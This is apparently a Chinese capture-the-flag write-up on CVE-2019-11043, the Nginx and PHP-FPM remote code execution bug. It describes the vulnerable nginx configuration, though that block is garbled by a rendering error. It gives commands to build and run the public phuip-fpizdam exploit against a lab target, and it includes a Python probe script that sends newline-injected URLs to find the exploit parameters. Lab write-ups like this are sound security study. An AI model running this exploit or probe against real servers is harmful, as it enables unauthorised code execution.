当前位置:网站首页>buuctf [PHP]CVE-2019-11043
buuctf [PHP]CVE-2019-11043
2022-06-10 12:47:00 【exploitsec】
漏洞描述
CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码。
向Nginx + PHP-FPM的服务器 URL发送 %0a 时,服务器返回异常。
该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下:
location ~ [^/].php(/|KaTeX parse error: Can't use function '\.' in math mode at position 38: …path_info ^(.+?\̲.̲php)(/.*); fastcgi_param PATH_INFO $fastcgi_path_info; fastcgi_pass php:9000; …}
攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,从而触发该漏洞。
https://blog.csdn.net/m0_46580995/article/details/107449400
漏洞影响
在 Nginx + PHP-FPM 环境下,当启用了上述 Nginx 配置后,以下 PHP 版本受本次漏洞影响,另外,PHP 5.6版本也受此漏洞影响,但目前只能 Crash,不可以远程代码执行:
PHP 7.0 版本
PHP 7.1 版本
PHP 7.2 版本
PHP 7.3 版本
安装漏洞利用工具
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build
复现exp需要安装go语言环境
使用github公开exp
apt-get install golang -y
最好国内源
go env -w GO111MODULE=on
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct

环境如下
go run . “http://node3.buuoj.cn:27011/index.php”


打印环境env
python 检测脚本
CVE-2019-11043.py
#!/usr/bin/python
import requests,json
import time
now = int(round(time.time()*1000))
now_time = time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(now/1000))
def check_version(url):
headers = {
'User-Agent': 'Mozilla/5.0',
'D-Pisos': '8=D',
'Ebut': 'mamku tvoyu'
}
r = requests.get(url, headers=headers)
response_str = json.dumps(r.headers.__dict__['_store'])
if r.status_code == 200 and 'PHP' in response_str and 'nginx' in response_str:
print
print 'Server= ' + r.headers.get('Server')
print 'X-Powered-By= ' + r.headers.get('X-Powered-By')
print '\n%s Base status code is 200' % now_time
check_vuln(url)
else:
print response_str
def check_vuln(url):
for i in range(1500,2000):
url_dir = '/PHP%0Ais_the_shittiest_lang.php?' + 'Q' * i
vuln_url = url + url_dir
headers = {
'User-Agent': 'Mozilla/5.0',
'D-Pisos': '8=D',
'Ebut': 'mamku tvoyu'
}
r = requests.get(vuln_url, headers=headers)
if r.status_code == 502:
print vuln_url
print '%s Status code 502 for qsl=%s, adding as a candidate' % (now_time,str(i))
print '%s The target is probably vulnerable. Possible QSLs: [ %s ] ' % (now_time, str(i))
# print '%s Attack params found: --qsl %s --pisos 165 --skip-detect' % (now_time, str(i))
print
if __name__ == '__main__':
# url = 'http://10.10.20.100:8080/index.php'
url = raw_input("url= ")
check_version(url)
边栏推荐
- 将anaconda的bin目录加入PATH
- CL210OpenStack操作的故障排除--常见核心问题的故障排除
- Commencez par interpréter le Code généré automatiquement par la BDC et expliquez les composantes du programme de l'interface graphique SAP.
- 六石编程学:以文字处理的位置,谈谈命名
- Performance test plan (plan) template
- Yyds dry goods inventory # solve the problem of sword finger offer: jump step expansion
- mTabLayout. setOnTabSelectedListener is deprecated
- 【抬杠C#】如何实现接口的base调用
- Copying and deleting files
- 从解读 BDC 自动生成的代码谈起,讲解 SAPGUI 的程序组成部分
猜你喜欢

什么是基因的p值?

Don't mistake "it informatization" for "super project"

20-year technical veteran gives up his CTO title! Why did the startup attract him?

Leetcode 96. Different binary search trees

apache atlas 快速入门

SAP Field Service Management 和微信集成的案例分享和实现介绍

Introduction to assembly language - Summary

数码管驱动芯片+语音芯片的应用场景介绍,WT588E02B-24SS

Qt数据库应用22-文件编码格式识别

【FAQ】运动健康服务REST API接口使用过程中常见问题和解决方法总结
随机推荐
Google proposed the super pre training model coca, and the accuracy of fine-tuning top-1 on Imagenet reached 91%! SOTA on multiple downstream tasks!
CF894C Marco and GCD Sequence
2022 ciscn preliminary satool
Use and inspection of safety tools and instruments
2022 ciscn preliminary PWN complete WP
How can the team be dissolved...
How does the API detect security configuration errors?
Start with interpreting the code automatically generated by BDC, and explain the trial version of the program components of sapgui
Which EDA design software should Altium Allegro pads choose
Program, calculate 2/1+3/2+5/3+8/5 Value of. It is required to calculate the sum of the first n items and keep 2 decimal places (starting from the second item of the sequence, the numerator of each it
If the files and graphics are lost, it means that you don't need the office developed by yourself
Timeline and logistics information. You don't need stepview at all
The APK file does not exist on disk
WT2003H4-16S 语音芯片按键录音及播放应用解析
从解读 BDC 自动生成的代码谈起,讲解 SAPGUI 的程序组成部分
超详细的FFmpeg安装及简单使用教程
谷歌提出超强预训练模型CoCa,在ImageNet上微调Top-1准确率达91%!在多个下游任务上SOTA!
Sohu employees encounter wage subsidy fraud. What is the difference between black property and gray property and how to trace the source?
SAP Field Service Management 和微信集成的案例分享和实现介绍
No spitting